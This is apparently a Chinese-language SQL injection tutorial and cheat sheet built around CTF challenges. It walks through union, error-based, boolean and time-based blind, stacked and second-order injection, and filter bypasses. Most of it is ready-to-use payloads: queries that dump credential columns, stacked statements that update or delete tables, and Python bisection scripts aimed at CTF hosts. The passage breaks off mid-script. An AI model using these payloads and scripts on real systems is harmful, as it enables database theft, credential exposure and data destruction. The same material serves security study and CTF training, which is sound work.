##### 注入流程
1. 判断是否存在注入，注入是字符型还是数字型，闭合情况，绕过方式
?id=1'
?id=1"
?id=1')
?id=1")
?id=1' or 1#
?id=1' or 0#
?id=1' or 1=1#
?id=1' and 1=2#
?id=1' and sleep(5)#
?id=1' and 1=2 or '
?id=1\
2. 猜测SQL查询语句中的字段数
* 使用 order/group by 语句，通过往后边拼接数字指导页面报错，可确定字段数量。
1' order by 1#
1' order by 2#
1' order by 3#
1 order by 1
1 order by 2
1 order by 3
* 使用 union select 联合查询，不断在 union select 后面加数字，直到不报错，即可确定字段数量。
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#
3. 确定显示数据的字段位置
使用 union select 1,2,3,4,... 根据回显的字段数，判断回显数据的字段位置。
-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#
注意：
* 若确定页面有回显，但是页面中并没有我们定义的特殊标记数字出现，可能是页面进行的是单行数据输出，我们让前边的 select 查询条件返回结果为空即可。
* ⼀定要拼接够足够的字段数，否则SQL语句报错。
4. 在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于：
* 获取当前数据库名
-1' union select 1,2,database()--+
* 获取当前数据库的表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
* 获取表中的字段名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
* 获取数据
-1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+
-1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
一般情况下就是这样的一个顺序，`确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据`。
我们可以看到这里使用了group_concat来拼接查询多个数据，在很多种查询中都有使用这个函数来提高效率，同时还可以拼接十六进制特殊字符来分隔，同时还使用了information_shcema表获取表信息、字段信息，这个表在低版本mysql中不存在，同时有时还会被过滤，这也会是我们绕过的一个方向。
#### 报错注入
##### 报错注入用到的SQL语法知识
大体的思路就是利用报错回显，同时我们的查询指令或者SQL函数会被执行， **报错的过程可能会出现在查询或者插入甚至删除的过程** 中。
###### 0x00 floor()（8.x>mysql>5.0）[双查询报错注入]
函数返回小于或等于指定值（value）的最小整数,取整
> 通过floor报错的方法来爆数据的 **本质是group by语句的报错** 。group
> by语句报错的原因是`floor(random(0)*2)`的不确定性，即可能为0也可能为1
>
> group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，
> **如果key存在于临时表中，则不在临时表中更新临时表中的数据；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。**
>
> group by
> `floor(random(0)*2)`出错的原因是key是个随机数，检测临时表中key是否存在时计算了一下`floor(random(0)*2)`可能为0，如果此时临时表
> **只有key为1的行不存在key为0的行** ，那么数据库要将该条记录 **插入**
> 临时表，由于是随机数，插时又要计算一下随机值，此时`floor(random(0)*2)`结果可能为1，就会导致插入时 **冲突而报错**
> 。即检测时和插入时两次计算了随机数的值。
>
?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
/*拆解出来就是下面的语句*/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x
**可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询，同时还是一个双查询的报错注入，当在一个聚合函数，比如count()函数后面如果使用group
by分组语句的话，就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错**
**双查询报错注入** 的原理
<https://blog.csdn.net/lixiangminghate/article/details/80466257>，<https://www.freebuf.com/articles/web/250376.html>
大体思路就是当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来，但是因为随机数要测试多次才能得到报错，上面报错注入函数中的第一个`Floor()`就是这种情况。
###### 0x01 extractvalue()
对XML文档进行查询的函数
第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用
/xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。
and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
###### 0x02 UPDATEXML (XML_document, XPath_string, new_value);
* 第一个参数：XML_document是String格式，为XML文档对象的名称 文中为Doc
* 第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
* 第三个参数：new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值
由于updatexml的第二个参数需要Xpath格式的字符串，如果不符合xml格式的语法，就可以实现报错注入了。
这也是一种非常常见的报错注入的函数。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
###### 0x03 exp(x)
返回 e 的 x 次方,当 数据过大 溢出时报错，即 x > 709
mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+
###### 0x04 geometrycollection() mysql 版本5.5
（1）函数解释：
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系（即相同的坐标系）。
（2）官方文档中举例的用法如下：
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
（3）报错原因：
因为MYSQL无法使用这样的字符串画出图形，所以报错
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
这里和我们上面学过的cancat和上一关学的内置表有两个梦幻联动
###### 0x05 multipoint() mysql 版本5.5
（1）函数解释：
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。
（2）报错原因：
同样是因为无法使用字符串画出图形与geometrycollection类似
1') and multipoint((select * from(select * from(select version())a)b)); %23
###### 0x06 polygon()
polygon来自希腊。 “Poly” 意味 “many” ， “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义，其中，每个内部边界定义为Polygon中的1个孔。
') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
###### 0x07 mutipolygon()
') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))
###### 0x08 linestring(）
报错原理：
mysql的有些几何函数（
例如geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring()
）对参数要求为几何数据，若不满足要求则会报错，适用于5.1-5.5版本 (5.0.中存在但是不会报错)
1') and linestring((select * from(select * from(select database())a)b))--+;
###### 0x09 multilinestring()
同上
###### 0x0a ST.LatFromGeoHash()（mysql>=5.7.x）
') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+
###### 0x0b ST.LongFromGeoHash
同上 嵌套查询
###### 0x0c ST_Pointfromgeohash (mysql>5.7)
#获取数据库版本信息
')or ST_PointFromGeoHash(version(),1)--+
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
###### 0x0d GTID (MySQL >= 5.6.X - 显错<=200)
**0x01 GTID**
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符，GTID不仅在本服务器上是唯一的，其在复制拓扑中也是唯一的
> GTID的表现形式 -> GTID
> =source_id:transaction_id其中source_id一般为数据库的uuid，transaction_id为事务ID，从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务
**GTID集合** (一组全局事务标识符)：
GTID集合为多个单GTID和一个范围内GTID的集合，他主要用于如下地方
* gtid_executed 系统变量
* gtid_purged系统变量
* GTID_SUBSET() 和 GTID_SUBTRACT()函数
格式如下：
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5
**0X02 函数详解**
GTID_SUBSET() 和 GTID_SUBTRACT() 函数，我们知道他的输入值是 GTIDset ，当输入有误时，就会报错
1. GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID，也在 set2 中，返回 true，否则返回 false ( set1 是 set2 的子集)
2. GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中，不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
正常情况如下
>
> GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)
>
**0x03 注入过程( payload )**
**GTID_SUBSET函数**
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
**GTID_SUBTRACT**
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
上面是一些常见或者不常见的能够报错注入的函数，报错注入就是利用这些函数，在我们的查询语句中的这些函数内的某个位置再嵌套一个子查询，利用产生的报错将子查询的结果回显出来，每个报错注入的函数都搭配了网上找到的简单的payload，情况总是在变化，注意一下函数中子查询所在的位置即可。
###### 使用不存在的函数来报错
随便使用一个不存在的函数，可能会得到当前所在的数据库名称。
###### 使用 join using() 报错获取列名
* 一般应用于 **无列名注入** ，下文绕过中会细讲。
>
> 通过关键字join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接，会由于冗余的原因（相同列名存在），而发生错误。并且报错信息会存在重复的列名，可以使用
> USING 表达式声明内连接（INNER JOIN）条件来避免报错。
下面演示如何通过join...using来获取列名：
# 获取第一列的列名:
1' union select * from (select * from users as a join users as b)as c#
# 使用using()依次获取后续的列名
1' union all select * from (select * from users as a join users b using(id))c#
1' union all select * from (select * from users as a join users b using(id,username))c#
1' union all select * from (select * from users as a join users b using(id,username,password))c#
# 数据库中as主要作用是起别名, 常规来说as都可以省略，但是为了增加可读性, 不建议省略
##### 注入流程
大体的注入流程就是在联合查询不成功的情况下尝试使用报错注入的函数得到回显子查询结果的报错结果。
#### 布尔盲注
SQL
Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取sql语句的执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
对于基于布尔的盲注，可通过构造真or假判断条件（数据库各项信息取值的大小比较，
如：字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...），
将构造的sql语句提交到服务器，然后根据服务器对不同的请求返回不同的页面结果
（True、False）；然后不断调整判断条件中的数值以逼近真实值，特别是需要关注响应从True<\-->False发生变化的转折点。
##### 用到的SQL语法知识
会用到截取字符的函数：`substr()`
可以直接判断字符或者根据ASCII码来判断，利用ASCII码时要用到`ASCII()`函数来将字符转换为ASCII码值。
还用到了各种运算符，`<`，`>`，`=`当然不必多提，但是在下面POST的方式中用到了异或符号`^`，这里其实是一种异或注入的方法，当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入。
> 异或运算规则:
> `1^1=0 0^0=0 0^1=1`
> `1^1^1=0 1^1^0=0`
> 构造payload:`'^ascii(mid(database(),1,1)=98)^0`
注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的.
##### 注入流程
首先通过页面对于永真条件`or 1=1` 与永假条件 `and 1=2` 的返回内容是否存在差异进行判断是否可以进行布尔盲注。
下面给出常用的布尔盲注脚本。
* **GET 型注入：**
import requests
import time
url = 'http://474d31bb-1f69-4636-9798-319f27a7fb08.node3.buuoj.cn/'
cookies = { # 如果目标网站要事先登录，就加上cookies吧
"PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3"
}
flag = ''
for i in range(1,90000):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://474d31bb-1f69-4636-9798-319f27a7fb08.node3.buuoj.cn/Less-8/?id=0' or ascii(substr(database(),%d,1))>%d-- " %(i,mid) # 注意get型的注入注释符要用--空格
res = requests.get(url=payload)
if 'You are in' in res.text: # 为真时，即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
* **POST 型注入：**
import requests
url = 'http://81689af7-4cd5-432c-a88e-f5113e16c7c1.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
payload = "0^(ascii(substr((select(flag)from(flag)),%d,1))>%d)#" %(i,mid)
datas = {
"id":payload
}
res = requests.post(url=url,data=datas)
if 'girlfriend' in res.text: # 为真时，即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
不能当脚本小子，我们要掌握脚本的编写思路！！！
首先，我们先分析脚本的思路，脚本利用了request库来发送请求，同时定义了一个flag字符串用来储存flag。然后写了一个for循环，封顶跑250遍，然后定义了low和high，这里根据的是ASCII码中的打印字符，定义了中间值，因为一会儿要使用的是二分法，当low<high时进入while循环，执行payload是否大于mid的判断，这里GET和POST略有区别，GET传入的键值对，利用requests.post方法进行请求，GET直接把Payload拼接在url后面进行requests.get方法即可，然后根据我们判断真假的方式写一个if循环，这里的res.text是返回数据，可以先写个简单脚本看一下该怎么从其中判断真假，如果为真low=mid+1，然后再取中间值，如果为假则high=mid然后取中间值，直到low大于high就能确定出该位置的ASCII码了，然后最下面的if循环是排除掉在两端的特殊情况，然后每次循环打印一次flag，有时候可能还要设置延时，这里没有管。
###### 利用异或的：
?id=0'^1--+
?id=0'^0--+
?id=0'^(ascii(substr(database(),1,1))>1)--+
?id=0'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})--+
###### 利用order by的
* **该方法只适用于表里就一行数据的时候。**
如果注入的时候没有报错，我们又不知道列名，就只能用 order by 盲注了。当然，在 **过滤了括号** 的时候，order by 盲注也是个很好的办法。
order by 的主要作用就是让查询出来的数据根据第n列进行排序（默认升序），我们可以使用order by排序比较字符的 ascii
码大小，从第⼀位开始比较，第⼀位相同时比较下⼀位。
利用方式参见如下测试：
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | 5 |
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
| 1 | 2 | 6 |
+----+----------+----------------------------------+
2 rows in set (0.01 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'51' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | 51 |
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'52' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
| 1 | 2 | 52 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
通过逐位判断便可得到`password`
参考脚本：
import requests
# 定义一个flag取值的一个“范围”
dic = "1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_!@#$%^&*"
# 之所以不定义为空，而是“^”，是为了从头开始匹配
flag = "^"
# 目标url，先传“|1”，获取其数据的排列内容，作为一个对比的基准
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
# 这个flag的长度被定义为了50个字符长度
for i in range(50):
# 从定义的dic中挨个取1字符，拼凑payload
for letter in dic:
payload = flag + letter
#该url最后的“}2b1”-->"}+1"
url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
print(url)
# 获取实际注入后的排列内容
content2 = requests.get(url2).content
# 如果不相等，即为flag内容（为什么是不相等，而不是相等，因为在url2的最后又“+1”，即匹配成功则是“?dir=|2”，匹配不成功则是“?dir=|1”）
if(content1 != content2):
flag = payload
print(flag)
break
#### 时间盲注
有的盲注既不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断，其实也是从另一个我们能控制的角度来判断了布尔值。
对于基于时间的盲注，通过构造真or假判断条件的sql语句， 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求，
观察服务器响应结果是否会执行所设置时间的延迟响应，以此来判断所构造条件的真or假（若执行sleep延迟，则表示当前设置的判断条件为真）；然后不断调整判断条件中的数值以逼近真实值，最终确定具体的数值大小or名称拼写。
首先使用以下payload，根据页面的响应是否有延迟来判断是否存在注入：
1' and sleep(5)#
1 and sleep(5)
##### 时间盲注用到的SQL语法知识
一般的时间盲注主要就是使用`sleep()`函数进行时间的延迟，然后通过if判断是否执行`sleep()`：
admin' and if(ascii(substr((select database()),1,1))>1,sleep(3),0)#
trim配合比较。
`trim([both/leading/trailing] 目标字符串 FROM 源字符串)`
从源字符串中去除首尾/首/尾的目标字符串，如寻找字符串第一位，假定X代表某字符，`trim(leading X from 'abcd') =
trim(leading X+1 from 'abcd')`不相等，说明正确结果是X或X+1再进行`trim(leading X+1 from
'abcd') = trim(leading X+2 from 'abcd')` 相等则正确为X，不相等则X+1正确
若`trim(leading X from 'abcd') = trim(leading X+1 from
'abcd')`相等说明X与X+1都为字符串的首字符，不存在这种情况，所以需要继续比较X+1与X+2直至相等
##### 注入流程
时间盲注我们也是利用脚本完成：
import requests
import json
import time
url = 'http://474d31bb-1f69-4636-9798-319f27a7fb08.node3.buuoj.cn/Less-8/?id='
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://474d31bb-1f69-4636-9798-319f27a7fb08.node3.buuoj.cn/Less-8/?id=1' and if((ascii(substr(database(),%d,1))>%d),sleep(2),1)-- " %(i,mid)
times = time.time()
res = requests.get(url=payload)
if time.time() - times >= 2: # 为真时，即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
这是一个GET方式的时间盲注，更改脚本请求方式的方法可以参照上面的布尔盲注，这两个脚本的编写思路是一样的，只是在判断方式上有所区别。
时间盲注在CTF比赛和平时生产环境中都是比较常见的，但是当我们常⽤的函数被过滤的话，那该怎么办呢？还有以下几种时间盲注方式。
###### 笛卡尔积延时盲注
`count(*)` 后面所有表中的 **列笛卡尔积数** ， **数量越多越卡** ，就会有延迟，类似之前某比赛pgsql的延时注入也可以利用此来
**打时间差** ，从而达到延时注入的效果：
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*) |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)
mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1 | 0 |
+------+-----+
1 row in set (2.08 sec)
得到的结果都会有延迟。这里选用`information_schema.columns表`的原因是其内部数据较多，到时候可以根据实际情况调换。
那么我们就可以使用这个原理，并配合if()语句进行延时注入了，payload 与之前相似，类似如下：
admin' and if(ascii(substr((select database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)#
[OUTPUT:]
HTTP/1.1 504 Gateway Time-out # 有很长的延时, 以至于Time-out了
给出一个笛卡尔积延时注入脚本：
import requests
url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" % (i, mid)
datas = {
"username":"admin",
"password": payload
}
res = requests.post(url=url,data=datas,timeout=None) # 不限制超时
if '504 Gateway Time-out' in res.text: # 为真时，即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
#### 堆叠注入
在SQL中，分号`;` 是用来表示一条sql语句的结束。试想一下，我们在结束一个sql语句后继续构造下一条语句，会不会一起执行？
因此这个想法也就造就了堆叠注入。
而联合注入也是将两条语句合并在一起，两者之间有什么区别么？
区别就在于 union 或者union all执行的语句类型是有限制的，可以用来执行的是 **查询语句** ，而堆叠注入可以执行的是任意的语句。
例如以下这个例子。用户输入：`1; DELETE FROM products;` 服务器端生成的sql语句为：`select * from products
where id=1;DELETE FROM products;` 当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。
但是，这种堆叠注入也是有局限性的。堆叠注入的局限性在于并不是每一个环境下都可以执行， **可能受到API或者数据库引擎不支持的限制** ，当然
**权限不足** 也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句，但是这种注入方式并不是十分的完美的。在有的Web系统中，因为代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生的错误或者执行结果只能被忽略，我们在前端界面是无法看到返回结果的。因此，在读取数据时，建议配合使用
union 联合注入。
一般存在堆叠注入的都是由于使用 `mysqli_multi_query()`
函数执行的sql语句，该函数可以执行一个或多个针对数据库的查询，多个查询用分号进行分隔。
##### 堆叠注入用到的SQL语法知识
单纯看堆叠注入的话好像还真没什么了
##### 注入流程
# 读取数据
/?id=1';show databases;--+
/?id=1';show tables;--+
/?id=1';show tables from database_name;--+
/?id=1';show columns from table_name;--+
# 读取文件
/?id=1';select load_file('/flag');--+
# 修改数据表的结构
/?id=1';insert into users(id,username,password)values(20,'whoami','657260');--+ # 插入数据
/?id=1';update users set password='657260' where id>0;--+ # 更改数据
/?id=1';delete from users where id=20;--+ # 删除数据
/?id=1';create table fake_users like users;--+ # 创建一个新表
?id=1';rename table old_table to new_table;--+ # 更改表名
?id=1';alter table users change old_column new_column varchar(100);--+ # 更改字段名
下面是MySQL堆叠注入的几种常见姿势。
###### rename 修改表名
1';rename table words to words1;rename table flag_here to words;#
# rename命令用于修改表名。
# rename命令格式：rename table 原表名 to 新表名;
###### rename/alter 修改表名与字段名
1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);#
rename命令用于修改表名。
rename命令格式：rename table 原表名 to 新表名;
###### 利用 HANDLER 语句
如果rename、alter被过滤了，我们可以借助HANDLER语句来bypass。在不更改表名的情况下读取另一个表中的数据。
`HANDLER ... OPEN` 语句打开一个表，使其可以使用后续 `HANDLER ... READ`
语句访问，该表对象未被其他会话共享，并且在会话调用 `HANDLER ... CLOSE`
或会话终止之前不会关闭，详情请见：<https://www.cnblogs.com/taoyaostudy/p/13479367.html>
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
或
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#
###### 堆叠注入中的盲注
堆叠注入中的盲注往往是插入sql语句进行实践盲注，就比如 [SWPU2019]Web4 这道题。编写时间盲注脚本：
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
这里还涉及到了一些json的内容，json.dumps()
是把python对象转换成json对象的一个过程，生成的是字符串。web服务中传输信息的一种方式。
#### 二次注入
##### 二次注入用到的SQL语法知识
通常二次注入的成因会是插入语句，我们控制自己想要查询的语句插入到数据库中再去找一个 **能显示插入数据的回显的地方**
（可能是登陆后的用户名等等、也有可能是删除后显示删除内容的地方~），恶意插入查询语句的示例如下：
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','[email protected]')
insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','[email protected]')
需要对后端的SQL语句有一个猜测
这里还有一个点，我们不能直接将要查询的函数插入，因为如果直接插入的话，`'database()'`会被识别为字符串，我们需要想办法闭合前后单引号的同时将我们的查询插入，就出现了`'0'+database()+'0'`这样的构造，但是这个的回显是`0`，但是在我们进行了hex编码之后就能正常的查询了，也就是上面出现的`'0'+hex(database())+'0'`
##### 注入流程
首先找到插入点，通常情况下是一个注册页面，`register.php`这种，先简单的查看一下注册后有没有什么注册时写入的信息在之后又回显的，若有回显猜测为二次查询。
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','[email protected]')
insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','[email protected]')
构造类似于values中的参数进行注册等操作，然后进行查看，将hex编码解码即可，可能会有其他的先限制，比如超过10位就会转化为科学计数法，我们就需要使用`from
for`语句来进行一个限制，可以编写脚本。
import requests
import string
import re as r
import time
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://9a88c359-4f55-44e9-9332-4c635c486ef0.node3.buuoj.cn/'
def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = '123')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email = email,password = '123')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html
hex_flag = ''
for j in range(0,17):
payload = "0'+(select substr(hex(hex((select * from flag))) from {} for {}))+'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)
# print html.text
html = login(email)
try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
hex_flag += str(res[0]).strip()
print hex_flag
except:
pass
time.sleep(1)
print hex_flag.decode('hex').decode('hex')
### "常见"绕过
#### 结尾注释符绕过
Mysql中常见的注释符
、# %23 --+或-- - ;%00
如果所有的注释符全部被过滤了，把我们还可以尝试直接使用引号进行闭合，这种方法很好用。
#### 字符串变换绕过
# 大小写绕过
-1' UnIoN SeLeCt 1,2,database()--+
# 双写绕过
-1' uniunionon selselectect 1,2,database()--+
# 字符串拼接绕过
1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;
#### 过滤 and、or 绕过
##### 管道符
and => &&
or => ||
##### 使用^进行异或盲注绕过
> 异或运算规则:
> `1^1=0 0^0=0 0^1=1`
> `1^1^1=0 1^1^0=0`
> 构造payload:`'^ascii(mid(database(),1,1)=98)^0`
注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的.
#### 过滤空格绕过
以下字符可以代替空格：
# 使用注释符/**/代替空格:
select/**/database();
# 使用加号+代替空格:(只适用于GET方法中)
select+database();
# 注意: 加号+在URL中使⽤记得编码为%2B: select%2Bdatabase(); (python中不用)
# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
# 使⽤其他不可⻅字符代替空格:
%09, %0a, %0b, %0c, %0d, %a0
#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
同时任然可以利用异或符号进行盲注，我i们可以看到上面的payload中完全可以不存在空格。
#### 过滤括号绕过
##### 利用 order by 进行布尔盲注
上面有
#### 过滤比较符号（=、<、>）绕过
比较符号一般也只出现在盲注中，所以都尽可能搭配了脚本。
##### 使用 in() 绕过
/?id=' or ascii(substr((select database()),1,1)) in(114)--+ // 错误
/?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正常回显
/?id=' or substr((select database()),1,1) in('s')--+ // 正常回显
综上所述，很明显和普通的布尔盲注差不多，于是写个GET的二分法盲注脚本：
import requests
url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id="
payload = "' or ascii(substr((select database()),{0},1)) in({1})--+"
flag = ''
if __name__ == "__main__":
for i in range(1, 100):
for j in range(37,128):
